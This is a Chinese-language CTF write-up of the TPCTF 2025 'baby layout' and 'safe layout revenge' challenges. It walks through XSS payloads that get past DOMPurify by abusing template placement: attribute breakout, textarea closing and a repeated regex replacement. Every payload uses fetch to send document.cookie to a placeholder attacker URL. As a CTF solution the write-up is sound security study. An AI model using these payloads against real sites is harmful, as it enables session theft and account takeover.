参考
https://ouuan.moe/post/2025/03/tpctf-2025
baby layout
题目会将 {``{cont}}
将被替换为有效负载,我们可以使用
html
<img src="{{content}}">
html
" onerror="fetch('{YOUR_URL}'+document.cookie)
拼接后是这样的
html
<div>
<img src="" onerror="fetch('{YOUR_URL}'+document.cookie)">
</div>
或者创造意外的闭合,因为</textarea>
优先级大于"
html
<textarea>{{content}}</textarea>
html
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>
拼接后是这样的
html
<div>
<textarea><div id="</textarea>
<img src="x" onerror="fetch('{YOUR_URL}'+document.cookie)">">
</div>
或使用 data-x(safe layout非预期)
html
<div data-x="{{content}}"></div>
html
some_data" onerror="fetch('{YOUR_URL}'+document.cookie)
safe layout revenge
tips: 你可以使用 https://yeswehack.github.io/Dom-Explorer/ 来查看DOMPurify过滤后的内容
js
// 创建文章接口,接收内容和布局ID,生成文章并保存
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params'); // 参数类型检查
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long'); // 检查内容长度是否超过限制
const layout = req.session.layouts[layoutId]; // 获取指定ID的布局
if (layout === undefined) return res.status(400).send('Layout not found'); // 布局ID无效
// 使用DOMPurify清理内容,去除不允许的HTML标签
const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });
// 将内容插入布局中
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long'); // 检查生成的文章长度是否超过限制
// 生成文章ID并保存到Map中
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id); // 将文章ID添加到session中
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id }); // 返回文章ID
});
注意正则表达式中存在/g
,这意味这我们可以在模板中防止多个{``{content}}
,他们都会被替换
http
a<style>{{content}}<{{content}}</style>
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>
有效负载
html
a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style><img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style></style>
会变成
html
<div>
a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie)
<style></style>
<img src="" onerror="fetch(`{YOUR_URL}/`+document.cookie)" <style="">
</div>